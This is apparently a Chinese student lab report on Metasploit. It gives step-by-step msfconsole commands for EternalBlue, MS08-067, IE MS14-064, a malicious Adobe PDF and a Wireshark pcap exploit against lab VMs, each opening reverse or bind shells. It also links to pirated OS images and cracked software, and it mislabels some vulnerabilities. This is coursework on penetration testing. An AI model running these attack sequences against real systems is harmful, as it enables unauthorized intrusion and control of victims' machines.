一. 實踐內容
- 實驗一:一個主動攻擊實踐,如ms08_067;
- 實驗二:一個針對瀏覽器的攻擊,如ms11_050;
- 實驗三:一個針對客戶端的攻擊,如Adobe;
- 實驗四: 成功應用任何一個輔助模塊。
二.實驗原理
MSF是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞的專業級漏洞攻擊工具。
-
MSF的六個模塊:
查看六種模塊源碼目錄
/usr/share/metasploit-framework/modules
-
滲透攻擊模塊
Exploit Modules
:攻擊漏洞,把shellcode"背"過去 -
輔助模塊
Auxiliary Modules
:在進行滲透攻擊之前得到目標系統豐富的情報信息,它是攻擊的前提 -
攻擊載荷
Payload Modules
:載荷,一段指令(shellcode),目標系統在被滲透攻擊之后去執行的代碼 -
空字段模塊
Nop Modules
-
編碼模塊
Encoders
-
后滲透攻擊模塊
Post
:攻擊成功之后,動態傳輸代碼使其在被控機執行
-
-
MSF常用漏洞利用命令:
- search name :用指定關鍵字搜索可以利用的漏洞模塊
- use exploit name :使用漏洞
- show options :顯示配置選項
- set TARGET target number :設置目標版本
- exploit :開始漏洞攻擊
- sessions -l :列出會話
- sessions -i id :選擇會話
- sessions -k id :結束會話
- Ctrl+z :把會話放到后台
- Ctrl+c :結束會話
三.基礎問題回答
1.用自己的話解釋什么是exploit,payload,encode.
- exploit是載具,連接漏洞,將payload傳送到靶機中。
- payload是載荷,是exploit中shellcode中的主要功能代碼,exploit把它送到靶機中后,是真正負責進行攻擊代碼。
- encode是編碼,用來改變payload,避免payload中出現漏洞無法處理的字符;其次是為了實現免殺,不讓殺毒軟件很輕易的就發現payload是攻擊代碼。
四.實驗步驟
實驗准備:下載並安裝所需要鏡像及虛擬機
1.安裝windows 2000鏡像;
下載鏈接:ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/(復制鏈接到迅雷下載中下載)
安裝教程:https://www.eskysky.com/745.html
2.安裝Microsoft Windows 7鏡像;
下載鏈接:ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/ (復制鏈接到迅雷下載中下載)
3.安裝Microsoft Windows XP鏡像;
下載地址:ed2k://|file|CN_WINXP_PRO_ISO.img|530186240|7855069CE4216615D761654E2B75A4F7|/(復制鏈接到迅雷下載中下載)
密鑰鏈接:https://zhidao.baidu.com/question/454390920351831725.html
實驗一:一個主動攻擊實踐,如ms08_067
ms08_067_netapi是一款Metasploit中有點老的溢出攻擊載荷,攻擊可以獲得一個相對高的權限。
ms07_010 永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞,該漏洞導致攻擊者在目標系統上可以執行任意代碼。(SMB服務的作用:該服務在Windows與UNIX系列OS之間搭起一座橋梁,讓兩者的資源可互通有無。)
攻擊方式:ms08_067
靶機:Microsoft Windows 2000
具體步驟:
- 先對靶機進行ping操作,獲取IP地址
-
在kali中測試靶機與攻擊機之間能否ping通 ping 靶機IP ,不手動停止,會一直傳數據包,直接 Ctrl+C 手動停止。
-
攻擊者試探靶機是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 靶機IP
-
sudo msfconsole 打開控制台
-
search ms08-067 查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi 選擇該漏洞
-
set payload generic/shell_reverse_tcp 設置攻擊的載荷
-
set RHOSTS 靶機IP 設置靶機IP
-
set LHOSTS kali的IP 設置攻擊機IP
-
exploit 進行攻擊
- 測試攻擊,獲得靶機權限之后輸入ipconfig測試一下
攻擊方式:ms17_010
靶機:Microsoft Windows 7 x64 (注意一定要64位的)
具體步驟:
- 安裝windows7虛擬機,查看IP地址
- 關閉虛擬機的防火牆
- sudo msfconsole
- use auxiliary/scanner/smb/smb_ms17_010 選擇攻擊漏洞
- set RHOSTS 靶機ip 輸入靶機ip
- exploit 對靶機掃描,看是否存在漏洞。下圖所示,即為存在漏洞。
- use exploit/windows/smb/ms17_010_eternalblue 選擇該漏洞
- set payload windows/x64/meterpreter/reverse_tcp 設置攻擊的載荷
-
set RHOSTS 靶機IP //設置靶機IP
-
set LHOSTS kali的IP //設置攻擊機IP
-
exploit //進行攻擊
- 測試攻擊,獲得靶機權限之后輸入ipconfig測試一下
實驗二:一個針對瀏覽器的攻擊,如ms11_050
ms14_064Windows Server 2008(用於基於 x64的系統)和 Windows Server 2008(用於基於 x64的系統)Service Pack 2 [Internet Explorer 7]( 遠程執行漏洞代碼)
ms07_010 永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞,該漏洞導致攻擊者在目標系統上可以執行任意代碼。(SMB服務的作用:該服務在Windows與UNIX系列OS之間搭起一座橋梁,讓兩者的資源可互通有無。)
攻擊方式:ms14_064
靶機:Microsoft WindowsXP IE瀏覽器
具體步驟:
- 打開windowsXP對瀏覽器設置一下安全權限。
- 右鍵IE打開設置
- 安全->自定義級別->對沒有...見圖
- 高級->允許...見圖
- kali內的代碼輸入
sudo msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //選擇攻擊模塊
set payload windows/meterpreter/reverse_tcp //設置tcp反向連接
set SRVHOST kali的ip //設置攻方
set AllowPowerShellPrompt true //因為msf中自帶的漏洞利用exp調用的是 powershell。 所以msf中的exp代碼只對安裝powershell的系統生效
set LHOST kali的ip
set LPORT 1328//自己的學號
set target 0 //設置winXP靶機
exploit //發起滲透攻擊
- 去靶機瀏覽器中輸入URL生成代碼(報錯不用管)
- 執行網址后,回到kali中攻擊,注意觀察kali中返回數值,出現下圖會話時,ctrl+c停止攻擊
- 輸入 sessions -i 1 實施攻擊
攻擊方式:ms17_010(針對瀏覽器)
靶機:Microsoft Windows7 IE瀏覽器
具體步驟:
- kali上輸入以下的代碼
use exploit/windows/smb/ms17_010_eternalblue //進入該模塊
show payloads //顯示可用載荷
set payload generic/shell_reverse_tcp
set RHOST 192.168.19.144 //設置靶機IP,端口默認為445
set LPORT 1328 //成功后回連主機端口
set LHOST 192.168.19.136 //設置攻擊機IP
exploit //發起滲透攻擊
- 來到靶機IP瀏覽器,輸入http://kali的IP:監聽端口(http://192.168.19.136:1328)鏈接。
- 攻擊成功!測試一下。
實驗三:攻擊客戶端的實踐
Adobe reader:下載鏈接:http://dt11.oss-cn-beijing.aliyuncs.com/download/adobe%20reader%209.3%E4%B8%AD%E6%96%87%E7%A0%B4%E8%A7%A3%E7%89%88_274505276.exe(放到迅雷下載,在虛擬機中安裝)
wireshark:下載版本wireshark1.4.2,一定是要這個版本,官網下架了,可能因為這個有bug,我找了個奇怪的網站下的,大家也可以自己去找找。
攻擊方式:Adobe
靶機:Windows XP
具體步驟:
- 進入kali輸入如下指令
msfconsole //進入控制台 search adobe //進行查找 use windows/fileformat/adobe_cooltype_sing //使用漏洞 info //查看漏洞具體信息(重點當然是description) set payload windows/meterpreter/bind_tcp //選擇攻擊載荷 show options //查看詳細信息 set LPORT 1328//設置端口號 set RHOST 靶機IP//設置靶機IP地址 exploit #攻擊
- 此時生成
msf.pdf
,我們進入保存目錄cd /root/.msf4/local
,復制到共享文件夾中,在移到windowsXP虛擬機中 - 下一個Adobe reader打開這個pdf文件。
- 回到kali中開始監聽靶機
use exploit/multi/handler //進入監聽模塊 set payload windows/meterpreter/bind_tcp //選擇攻擊載荷 show options //查看詳細信息 set RHOST 靶機IP //設置靶機IP地址 set LPORT 1328 //設置端口號 exploit //攻擊
- 打開靶機,打開pdf文件
- 回到kali,回連成功! 測試一下!
攻擊方式:WireShark1.4.2
靶機:Windows XP
具體步驟:
- kali中輸入下面的代碼
use exploit/windows/fileformat/wireshark_packet_dect set payload windows/meterpreter/reverse_tcp //設置tcp反向連接 show options //查看設置項 set LHOST 192.168.19.136 //kali IP set LPORT 1328 //設置攻擊端口 set FILENAME zwq.pcap //設置生成的pcap文件名 exploit //發起攻擊
- 把生成的zwq.pcap拷貝到靶機中
- 然后再回到kali輸入以下代碼
use exploit/multi/handler //進入監聽模塊 set payload windows/meterpreter/reverse_tcp //設置tcp反向連接 set LHOST 192.168.19.136 //kali IP set LPORT 1328 //設置攻擊端口 exploit //監聽
- 在靶機中用wireshark打開zwq這個文件
- 回到kali中,發現鏈接成功,測試一下。
實驗四:成功應用任何一個輔助模塊
攻擊方式:sniffer(嗅探)
靶機:Windows XP
具體步驟:
- 可以使用這個功能來看靶機的瀏覽記錄
- 在kali的msfconsole中輸入以下代碼
search sniff //看一下嗅探的攻擊 use auxiliary/sniffer/psnuffle //選擇攻擊操作 show options exploit
- 這個嗅探攻擊不需要設置什么,直接exploit攻擊。
- 然后就去windows xp里訪問一個網址。
- kali中完全捕捉到了。
攻擊方式:portscan(端口掃描)
靶機:Windows XP
具體步驟:
- 可以 search portscan 命令搜索相關的端口掃描腳本
- 在kali中輸入如下的代碼
search portscan //看看可以掃什么端口 use auxiliary/scanner/portscan/tcp // 選擇tcp腳本 set Rhosts 192.168.19.140 //設置靶機IP set threads 20 show options //看一下配置文件 run
- 去到靶機中上一下網
- 回到kali中查看返回數據(得到了tcp包)
五.實驗體會
這次實驗其實不咋難,但是要下載的文件實在是太多了,導致我一直做了三天才完成。在實驗過程中,有一些配件很難找到去哪里下載,可能是由於有bug被下架了。
在實驗過程中我發現其實漏洞的年限都比較久遠了,所攻擊的系統也很久遠,XP,win7都停服了。但這並不意味着現在用的最新系統就沒有漏洞就不會有人攻擊,還是需要不斷努力完善。